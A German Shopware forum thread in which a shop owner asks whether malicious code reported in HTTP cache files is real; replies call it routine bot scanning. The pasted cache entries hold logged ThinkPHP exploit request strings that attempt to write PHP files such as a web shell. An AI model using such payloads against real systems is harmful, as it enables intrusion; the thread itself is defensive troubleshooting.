# Schadcode im Cachesystem. Was tun?

**URL:** https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033
**Category:** Allgemein
**Created:** [3. April 2020 um 23:36 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033 "2020-04-03T23:36:19Z")
**Posts on this page:** 6
**Page:** 1

<div class="post-metadata">

### Author: ![Bugius](https://avatars.discourse-cdn.com/v4/letter/b/e47774/32.png) [@Bugius](https://forum.shopware.com/u/Bugius)
#### Post date: [3. April 2020 um 23:36 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033/1 "2020-04-03T23:36:19Z")

</div>

Hallo Zusammen&nbsp;  
Ich habe leider schon ein paar mal von meinem Hoster die Meldung erhalten, dass sich Schadcode im Cache meines Webshops befindet:

Anbei 2 diverse Inhalte von Cache Dateien.  
Dabei habe ich meine Domain durch [mydomain.com](http://mydomain.com) ersetzt:

```
a:1:{i:0;a:2:{i:0;a:9:{s:10:"user-agent";a:1:{i:0;s:50:"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)";}s:7:"referer";a:1:{i:0;s:137:"https://mydomain.com/?s=index/\think\template\driver\file/write&cacheFile=robots1.php&content=xbshell";}s:15:"accept-language";a:1:{i:0;s:5:"zh-cn";}s:6:"accept";a:1:{i:0;s:3:"*/*";}s:10:"connection";a:1:{i:0;s:5:"close";}s:9:"x-real-ip";a:1:{i:0;s:14:"112.252.16.172";}s:4:"host";a:1:{i:0;s:19:"mydomain.com";}s:13:"authorization";a:1:{i:0;s:0:"";}s:20:"surrogate-capability";a:1:{i:0;s:18:"shopware="ESI/1.0"";}}i:1;a:10:{s:13:"cache-control";a:1:{i:0;s:35:"max-age=3600, public, s-maxage=3600";}s:4:"date";a:1:{i:0;s:29:"Fri, 03 Apr 2020 03:03:56 GMT";}s:19:"x-shopware-cache-id";a:1:{i:0;s:6:";c152;";}s:4:"link";a:1:{i:0;s:175:"; rel="preload"; as="style",; rel="preload"; as="script"";}s:12:"content-type";a:1:{i:0;s:24:"text/html; charset=UTF-8";}s:11:"x-body-eval";a:1:{i:0;s:3:"ESI";}s:16:"x-content-digest";a:1:{i:0;s:66:"ena2c24f66983ec2896d0c6b55dd8b3fb4b2a9419be73270b1cecdb9c801543efe";}s:14:"content-length";a:1:{i:0;i:49172;}s:10:"set-cookie";a:2:{i:0;s:96:"x-cache-context-hash=deleted; expires=Thu, 04-Apr-2019 03:03:56 GMT; Max-Age=0; path=/; httponly";i:1;s:83:"nocache=deleted; expires=Thu, 04-Apr-2019 03:03:56 GMT; Max-Age=0; path=/; httponly";}s:8:"X-Status";a:1:{i:0;i:200;}}}}

a:1:{i:0;a:2:{i:0;a:9:{s:10:"user-agent";a:1:{i:0;s:50:"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)";}s:7:"referer";a:1:{i:0;s:156:"https://mydomain.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('hmseo.php','hmseo')";}s:15:"accept-language";a:1:{i:0;s:5:"zh-cn";}s:6:"accept";a:1:{i:0;s:3:"*/*";}s:10:"connection";a:1:{i:0;s:5:"close";}s:9:"x-real-ip";a:1:{i:0;s:13:"119.185.7.219";}s:4:"host";a:1:{i:0;s:19:"mydomain.com";}s:13:"authorization";a:1:{i:0;s:0:"";}s:20:"surrogate-capability";a:1:{i:0;s:18:"shopware="ESI/1.0"";}}i:1;a:10:{s:13:"cache-control";a:1:{i:0;s:35:"max-age=3600, public,
s-maxage=3600";}s:4:"date";a:1:{i:0;s:29:"Sat, 21 Mar 2020 21:36:10 GMT";}s:19:"x-shopware-cache-id";a:1:{i:0;s:6:";c152;";}s:4:"link";a:1:{i:0;s:175:"; rel="preload"; as="style",; rel="preload"; as="script"";}s:12:"content-type";a:1:{i:0;s:24:"text/html;
charset=UTF-8";}s:11:"x-body-eval";a:1:{i:0;s:3:"ESI";}s:16:"x-content-digest";a:1:{i:0;s:66:"enacc53bd210ed6ab68cd0b50b3d2981c038166d15c3fd8f671e9e900602d72eb4";}s:14:"content-length";a:1:{i:0;i:49159;}s:10:"set-cookie";a:2:{i:0;s:96:"x-cache-context-hash=deleted; expires=Fri, 22-Mar-2019 21:36:09 GMT; Max-Age=0; path=/; httponly";i:1;s:83:"nocache=deleted; expires=Fri, 22-Mar-2019 21:36:09 GMT; Max-Age=0; path=/;
httponly";}s:8:"X-Status";a:1:{i:0;i:200;}}}}

```

Hat jemand das auch schon gehabt und weiss wo der Fehler liegen kann oder ob es sich hier um falsche Positive handelt.

Vielen Dank für eure Hilfe.

&nbsp;

---

<div class="post-metadata">

### Author: ![raymond](https://avatars.discourse-cdn.com/v4/letter/r/c57346/32.png) [@raymond](https://forum.shopware.com/u/raymond)
#### Post date: [4. April 2020 um 06:12 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033/2 "2020-04-04T06:12:57Z")

</div>

Noch nie gehabt. Um das vorzubeugen kann man nur lange und alphanumerische Passwörter wählen und die Software stets aktuell halten.

---

<div class="post-metadata">

### Author: ![kulli](https://avatars.discourse-cdn.com/v4/letter/k/a3d4f5/32.png) [@kulli](https://forum.shopware.com/u/kulli)
#### Post date: [4. April 2020 um 07:27 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033/3 "2020-04-04T07:27:26Z")

</div>

Welcher hoster ?

Varnish als cache ?

Sieht eher aus wie das normale Abklopfen chinesischer Hack-Bots

&nbsp;

---

<div class="post-metadata">

### Author: ![Bugius](https://avatars.discourse-cdn.com/v4/letter/b/e47774/32.png) [@Bugius](https://forum.shopware.com/u/Bugius)
#### Post date: [4. April 2020 um 08:20 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033/4 "2020-04-04T08:20:22Z")

</div>

> [@raymond schrieb:](https://forum.shopware.com/profile/20841/raymond "raymond")
> 
> Noch nie gehabt. Um das vorzubeugen kann man nur lange und alphanumerische Passwörter wählen und die Software stets aktuell halten.

Shopware ist aktuell auf 5.6.6 und die Passwörter jeweils diverse 32 Zeichen lange Alphanumerics&nbsp;

---

<div class="post-metadata">

### Author: ![h\_lohaus](https://avatars.discourse-cdn.com/v4/letter/h/a587f6/32.png) [@h\_lohaus](https://forum.shopware.com/u/h_lohaus)
#### Post date: [4. April 2020 um 08:24 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033/5 "2020-04-04T08:24:00Z")

</div>

Hallo,

kein Grund zur Besorgnis. Der Cache enthält nur die Anfrage zum erzeugten HttpCache.

Der Schadecode würde nur bei einer anderen Software zu Problemen führen.

Gruß Heiner

---

<div class="post-metadata">

### Author: ![Bugius](https://avatars.discourse-cdn.com/v4/letter/b/e47774/32.png) [@Bugius](https://forum.shopware.com/u/Bugius)
#### Post date: [4. April 2020 um 08:27 UTC](https://forum.shopware.com/t/schadcode-im-cachesystem-was-tun/66033/6 "2020-04-04T08:27:02Z")

</div>

> [@kulli schrieb:](https://forum.shopware.com/profile/14033/kulli "kulli")
> 
> Welcher hoster ?
> 
> Varnish als cache ?
> 
> Sieht eher aus wie das normale Abklopfen chinesischer Hack-Bots
> 
> &nbsp;

Kreativmedia.ch

Der normale HTTP Cache im Produktivmodus

Wie meinst du das mit Abklopfen? Falsches Positiv oder erfolgreich?&nbsp;
